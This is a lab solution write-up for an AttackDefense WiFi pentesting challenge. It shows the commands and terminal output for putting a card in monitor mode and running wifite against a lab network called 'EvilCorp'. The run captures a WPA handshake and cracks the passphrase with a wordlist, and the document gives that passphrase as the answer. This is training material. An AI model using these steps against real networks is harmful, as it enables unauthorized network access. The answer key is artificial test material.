

A word cloud shaped like a map of India. The words are arranged to form the outline of the country. The most prominent words in red and dark blue are "ATTACK" and "DEFENSE". Other visible words include "RED TEAM LABS", "PENTESTER ACADEMY", "TOOL BOX", "PATV HACKER", "ACCESS POINT", "WORLD-CLASS TRAINERS", "COURSES", and "TRAINING". The background has a light gray grid pattern.

| | |
|-------------|---|
| Name | Tool: Wifite |
| URL | https://www.attackdefense.com/challengedetails?cid=1313 |
| Type | WiFi Pentesting : WiFi Tools |

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Target WiFi network with SSID "EvilCorp" and find its secret shared key.

Solution:

Step 1: Check the WiFi interfaces present on the machine.

Command: iw dev

```
root@attackdefense:~# iw dev
phy#1
    Interface wlan1
        ifindex 5
        wdev 0x100000001
        addr 02:00:00:00:01:00
        type managed
        txpower 0.00 dBm
phy#0
    Interface wlan0
        ifindex 4
        wdev 0x1
        addr 02:00:00:00:00:00
        type managed
        txpower 0.00 dBm
root@attackdefense:~#
```

Two interfaces wlan0 and wlan1 are present on the machine.

Step 2: Change the mode of the card to monitor mode.

Command: iw dev wlan0 set monitor none

```
root@attackdefense:~# iw dev wlan0 set monitor none
root@attackdefense:~#
root@attackdefense:~# iw dev
phy#1
    Interface wlan1
        ifindex 5
        wdev 0x100000001
        addr 02:00:00:00:01:00
        type managed
        txpower 0.00 dBm
phy#0
    Interface wlan0
        ifindex 4
        wdev 0x1
        addr 02:00:00:00:00:00
        type monitor
        txpower 0.00 dBm
root@attackdefense:~#
```

Step 3: Start wifite with wlan0.

Command: wifite -i wlan0

```
root@attackdefense:~# wifite -i wlan0

      . . . . .
    . : ( ) : .
    . : /-\ : .
    . : /- - \ : .
      . . . . .

wifite 2.2.5
automated wireless auditor
https://github.com/derv82/wifite2

[+] option: using wireless interface wlan0

[+] Scanning. Found 0 target(s), 0 client(s). Ctrl+C when ready
```

Wifite will use wlan0 to sniff the nearby Access Points. The list of discovered APs can be viewed by pressing enter.

The target network can be selected by entering the NUM value for the network.

| NUM | ESSID | CH | ENCR | POWER | WPS? | CLIENT |
|--|---------------------|----|------|-------|------|--------|
| 1 | EvilCorp | 1 | WPA | 71db | no | |
| 2 | Forex_Magic | 1 | WPA | 71db | no | |
| 3 | XYZ-Enterprise | 11 | WPA | 71db | no | |
| 4 | EvilCorp | 11 | WPA | 71db | no | |
| 5 | (F2:A8:3E:C2:9F:0C) | 6 | WEP | 71db | no | |
| 6 | EvilCorp | 6 | WPA | 71db | no | |
| [+] select target(s) (1-6) separated by commas, dashes or all: 6 | | | | | | |

Wifite will then start various attacks on the network and it should be able to crack the shared password for the network.

```
[+] (1/1) Starting attacks against F2:A8:3E:C2:72:AC (EvilCorp)
[+] EvilCorp (71db) PMKID CAPTURE: Waiting for PMKID (24s)
[+] EvilCorp (71db) PMKID CAPTURE: Failed to capture PMKID

[+] EvilCorp (71db) WPA Handshake capture: Discovered new client: 02:00:00:00:07:00
[+] EvilCorp (71db) WPA Handshake capture: Captured handshake
[+] saving copy of handshake to hs/handshake_EvilCorp_F2-A8-3E-C2-72-AC_2019-11-01T05-35-43.cap saved

[+] analysis of captured handshake file:
[!] tshark: .cap file does not contain a valid handshake
[+] pyrit: .cap file contains a valid handshake for f2:a8:3e:c2:72:ac (EvilCorp)
[+] cowpatty: .cap file contains a valid handshake for (EvilCorp)
[!] aircrack: .cap file does not contain a valid handshake

[+] Cracking WPA Handshake: Running aircrack-ng with wordlist-top4800-probable.txt wordlist
[+] Cracking WPA Handshake: 75.77% ETA: 23s @ 50.0kps (current key: plastics)
[+] Cracked WPA Handshake PSK: chocolate
```

Once the passphrase is found for target machine, wifite prints the summary and exits.

```
[+] Access Point Name: EvilCorp
[+] Access Point BSSID: F2:A8:3E:C2:72:AC
[+] Encryption: WPA
[+] Handshake File: hs/handshake_EvilCorp_F2-A8-3E-C2-72-AC_2019-11-01T05-35-43.cap
[+] PSK (password): chocolate
[+] saved crack result to cracked.txt (1 total)
[+] Finished attacking 1 target(s), exiting
```

Answer : chocolate